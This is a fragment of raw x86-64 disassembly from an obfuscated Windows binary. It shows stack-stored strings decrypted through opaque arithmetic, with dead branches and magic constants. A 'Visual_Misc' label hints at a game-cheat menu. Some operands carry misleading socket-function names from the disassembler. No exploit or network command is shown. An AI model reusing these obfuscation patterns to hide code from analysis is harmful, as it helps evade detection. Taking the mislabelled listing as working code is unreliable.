cmp rbx, rax
jne 0x140087a10
movzx r11d, r10b
lea edx, [r11 - 0x30]
mov ecx, 0x28
jmp 0x140087dde
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140087b2d
movzx r11d, r10b
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
jmp 0x140087def
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140087b57
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
dec r10
inc r10
jmp 0x1400875a3
cmp rbx, rcx
jne 0x140087b7a
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
add rbx, r8
jmp 0x140087e93
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140087b9a
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
jmp 0x140087e8f
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400878fb
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x230]
add rax, r8
add r10, rax
inc r10
jmp 0x1400875a3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140087c0e
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
movzx eax, byte [rbp + r10 + 0x230]
add rax, r8
add r10, rax
inc r10
jmp 0x1400875a3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140087c29
lea edx, [r10 - 0x50]
mov ecx, 0x18
jmp 0x140087d58
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140087c51
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140087e93
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140087c78
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r9b
dec r10
inc r10
jmp 0x1400875a3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400878b3
lea ecx, [r10 + 0x10]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x70
inc r8
dec r10
inc r10
jmp 0x1400875a3
mov byte [rbp + r10 + 0x230], dil
inc r10
jmp 0x1400875a3
movzx r11d, r10b
lea edx, [r11 + 0x40]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r10 + 0x230]
sub cl, al
add cl, 0x20
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140087e36
movzx edx, r10b
lea ecx, [rdx + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rcx - 0x30]
sub dl, 0x28
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x230], al
inc r8
add rax, r8
sub r10, rax
jmp 0x140087d69
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
movzx eax, byte [rbp + r10 + 0x230]
add rax, r8
add r10, rax
inc r10
jmp 0x1400875a3
lea edx, [r10 - 0x58]
mov ecx, 0x34
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x230], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x230]
add rax, r8
add r10, rax
inc r10
jmp 0x1400875a3
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
dec r10
inc r10
jmp 0x1400875a3
movzx r11d, r10b
lea edx, [r11 + 0x38]
mov ecx, 0x3c
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
sub r11b, 0x48
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 8
add r11b, r9b
mov byte [rbp + r10 + 0x230], r11b
inc r8
dec r10
inc r10
jmp 0x1400875a3
movzx r11d, r10b
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
sub r11b, 0x38
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x78
add r11b, r9b
add r11b, dil
mov byte [rbp + r10 + 0x230], r11b
add rbx, r8
jmp 0x140087e93
lea edx, [r10 - 0x28]
mov ecx, ntohs
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x140087e93
lea rcx, [r10 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x78
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400875a3
lea rcx, [r10 + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x28
movzx eax, byte [rbp + r10 + 0x230]
add rax, r8
add r10, rax
inc r10
jmp 0x1400875a3
sub r10b, 0x58
movzx eax, r10b
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400875a0
sub r10b, 0x68
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x28
jmp 0x140087588
lea rcx, [rbp + 0x1549d90]
jmp 0x140087f33
lea rcx, [rbp + 0x16bce18]
jmp 0x140087f33
lea rcx, [rbp + 0x230]
lea rdx, [0x1401dd732]
call fcn.14003a4c0
mov byte [rbp + 0x1d0], 0xe1
mov byte [rbp + 0x1d1], 0x3f
mov byte [rbp + 0x1d2], recvfrom
mov byte [rbp + 0x1d3], 5
mov byte [rbp + 0x1d4], 0x3c
mov byte [rbp + 0x1d5], 4
mov byte [rbp + 0x1d6], 0xf6
mov byte [rbp + 0x1d7], 0x29
mov byte [rbp + 0x1d8], gethostname
mov byte [rbp + 0x1d9], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x1da], gethostname
mov byte [rbp + 0x1db], reloc.WS2_32.dll_listen
mov byte [rbp + 0x1dc], 0x90
xor eax, eax
mov qword [rbp + 0x1dd], rax
mov dword [rbp + 0x1e5], eax
mov word [rbp + 0x1e9], ax
movabs r14, 0x27d776644910ae1a
movabs r12, 0x16e43cbdff74c2b6
movabs r13, 0xc7354ff56d536682
movabs r15, 0x7786632cdb320a4e
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x1b
jae 0x140088bbd
movzx r9d, byte [rbp + r10 + 0x1d0]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x140088bb1
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008803c
lea rcx, [r10 + r14]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
add dil, 0x4a
jmp 0x140088070
je 0x140088b3b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140088ad6
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140088a8e
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140088a43
nop dword [rax]
cmp r8, r10
ja 0x140088ba5
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x14008809e
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r9b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400880e0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140088a27
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140088a06
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400889d4
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400889bc
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008899d
nop
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140088653
nop dword [rax]
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140088634
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14008860c
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x1400885eb
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x1400885cc
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400885ad
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140088592
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140088573
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140088558
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140088527
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x1400880f0
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 0x10]
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140088b88
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140088b68
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400882e1
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x1400882c6
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400882a7
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x1400884d9
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140088490
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140088452
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140088428
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400880f0
lea rbx, [r8 + 8]
lea r8, [rbx + 9]
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x1400883fb
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x1400883e0
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x1400883c1
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x1400883a6
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140088387
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140088368
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140088343
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14008831f
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140088300
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x1400880f0
lea rbx, [r8 + 5]
lea r8, [rbx + 6]
jmp 0x1400880f0
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400880e0
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x66
jmp 0x140088070
lea edx, [r10 - 0x4a]
movzx eax, dl
and al, r9b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088006
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
movzx r11d, r10b
jmp 0x140088a61
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
inc r8
dec r10
inc r10
jmp 0x140087ff3
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140087ff3
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
movzx r11d, r10b
jmp 0x140088960
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400889ea
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
jmp 0x1400889ed
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088aac
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
jmp 0x140088af4
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
movzx eax, byte [rbp + r10 + 0x1d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140087ff3
lea edx, [r10 - 0x12]
movzx eax, dl
and al, r9b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
mov byte [rbp + r10 + 0x1d0], dil
inc r10
jmp 0x140087ff3
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
cmp r8, 0x28
jb 0x140088442
movzx r11d, r10b
lea ecx, [r11 + 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 8]
jmp 0x140088a61
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 0x42
jae 0x14008893e
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x140088839
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
jmp 0x140088468
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
lea rax, [r8 + rbx]
cmp rax, 0x80
je 0x140088987
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x140088761
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5e
jmp 0x1400884aa
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x1d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140087ff3
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
jmp 0x140088af4
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088aac
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x1400889ed
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400889ea
movzx r11d, r10b
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
jmp 0x140088960
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xc
dec r10
inc r10
jmp 0x140087ff3
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140087ff3
movzx r11d, r10b
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
jmp 0x140088a61
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x14008867e
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400884ef
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400886b8
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x1d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140087ff3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400886dc
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
jmp 0x140088af4
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140088704
lea edx, [r10 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400889ea
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140088735
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140087ff3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400884ef
movzx r11d, r10b
lea ecx, [r11 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
jmp 0x140088a61
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140088780
movzx r11d, r10b
lea edx, [r11 + 0x66]
mov ecx, 0x1b
jmp 0x140088a50
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400887ad
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
inc r8
dec r10
inc r10
jmp 0x140087ff3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400887db
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140087ff3
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400887ff
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x52
jmp 0x140088aac
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400884aa
lea ecx, [r10 + 6]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2a
movzx eax, byte [rbp + r10 + 0x1d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140087ff3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140088873
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x1d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140087ff3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140088897
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
jmp 0x140088af4
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400888bf
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088aac
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400888e8
movzx r11d, r10b
lea edx, [r11 - 0x74]
movzx eax, dl
and al, r9b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088960
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140088912
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
dec r10
inc r10
jmp 0x140087ff3
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140088468
movzx r11d, r10b
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
jmp 0x140088a61
movzx r11d, r10b
lea edx, [r11 - 0x70]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r10 + 0x1d0]
sub cl, al
add cl, 8
lea edi, [rcx + rcx]
add dil, dl
sub r11b, 0x56
movzx eax, r11b
and al, r9b
mov ecx, 0x2d
sub cl, al
add cl, cl
add cl, dil
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x1d0], cl
jmp 0x1400889ea
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rcx - 0x5c]
jmp 0x140088aac
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088aac
lea ecx, [r10 + 0x5a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x76
jmp 0x1400889ed
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xa
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140087ff3
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
dec r10
inc r10
jmp 0x140087ff3
movzx r11d, r10b
lea ecx, [r11 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
jmp 0x140088a61
movzx r11d, r10b
lea edx, [r11 - 0x12]
mov ecx, 0x3f
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add r11b, 0x76
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x3a
add r11b, r9b
mov byte [rbp + r10 + 0x1d0], r11b
inc r8
dec r10
inc r10
jmp 0x140087ff3
lea rdx, [r10 + r12]
movzx r9d, r11b
movzx eax, dl
and al, r11b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x12
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x1d0], al
inc r8
add rax, r8
sub r10, rax
jmp 0x140088af4
lea rdx, [r10 + r13]
movzx r9d, r11b
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x1d0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x1d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140087ff3
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x22
movzx eax, byte [rbp + r10 + 0x1d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140087ff3
sub r10b, 0x7e
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140087ff0
add r10b, 0x4e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x22
jmp 0x140087fe0
lea rcx, [rbp + 0x174fb48]
jmp 0x140088bc4
lea rcx, [rbp + 0x85a962]
jmp 0x140088bc4
lea rcx, [rbp + 0x1d0]
lea rdx, [0x1401dd734]
call fcn.14003a4c0
call fcn.14000ca00
mov dword [rbp + 0x58], 0x43bf0000
mov dword [rbp + 0x5c], 0x428c0000
lea rcx, [rbp + 0x58]
call fcn.14001a510
mov dword [rbp + 0x60], 0x438d0000
mov dword [rbp + 0x64], 0x43410000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x60]
lea rcx, str.Visual_Misc
call fcn.140009a60
mov byte [rbp + 0x1b0], 0xe2
mov byte [rbp + 0x1b1], 0xbe
mov byte [rbp + 0x1b2], 0xb2
mov byte [rbp + 0x1b3], recvfrom
mov byte [rbp + 0x1b4], 0xd4
mov byte [rbp + 0x1b5], 0xc1
mov byte [rbp + 0x1b6], 0x3f
mov byte [rbp + 0x1b7], gethostname
mov byte [rbp + 0x1b8], 0x43
mov byte [rbp + 0x1b9], 0x47
mov byte [rbp + 0x1ba], 0x3f
mov byte [rbp + 0x1bb], 0x4c
mov byte [rbp + 0x1bc], 0x4f
mov byte [rbp + 0x1bd], 0xd1
xor eax, eax
mov qword [rbp + 0x1be], rax
mov dword [rbp + 0x1c6], eax
mov word [rbp + 0x1ca], ax
movabs r14, 0xe3c605369f8979fa
movabs r12, 0x3a6a247e5cc255d6
movabs r15, 0xab520fa3de9c6dee
movzx edi, byte [rsp + 0x50]
xor r13d, r13d
nop
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
mov r10, r13
cmp r10, 0x1c
jae 0x14008984a
movzx r9d, byte [rbp + r10 + 0x1b0]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008983e
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140088d0c
lea rcx, [r10 + r14]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
add dil, 0x2a
jmp 0x140088d46
je 0x1400897c4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008973b
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140089709
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400896c1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140089676
cmp r8, r10
ja 0x140089832
lea rax, [r8 + 0x5a]
cmp rbx, rax
jae 0x140088d74
lea edx, [r10 - 0x7e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088dc0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140089657
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140089632
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140089613
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400895f4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400895d5
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008934f
nop dword [rax]
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14008932c
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140089304
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x1400892e2
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400892bf
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400892a0
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140089284
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140089265
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140089246
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140089218
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140088dd0
lea rbx, [r8 + 0x61]
lea r8, [rbx + 6]
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140089812
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x1400897f5
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140088fb4
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140088f95
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140088f7a
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x1400891c4
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140089174
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140089134
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14008910a
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140088dd0
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x41]
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x1400890dc
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x1400890bd
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14008909e
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140089082
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140089063
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140089040
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14008901e
lea rcx, [r8 + 5]
cmp rbx, rcx
ja 0x140088ff6
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140088fd3
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140088dd0
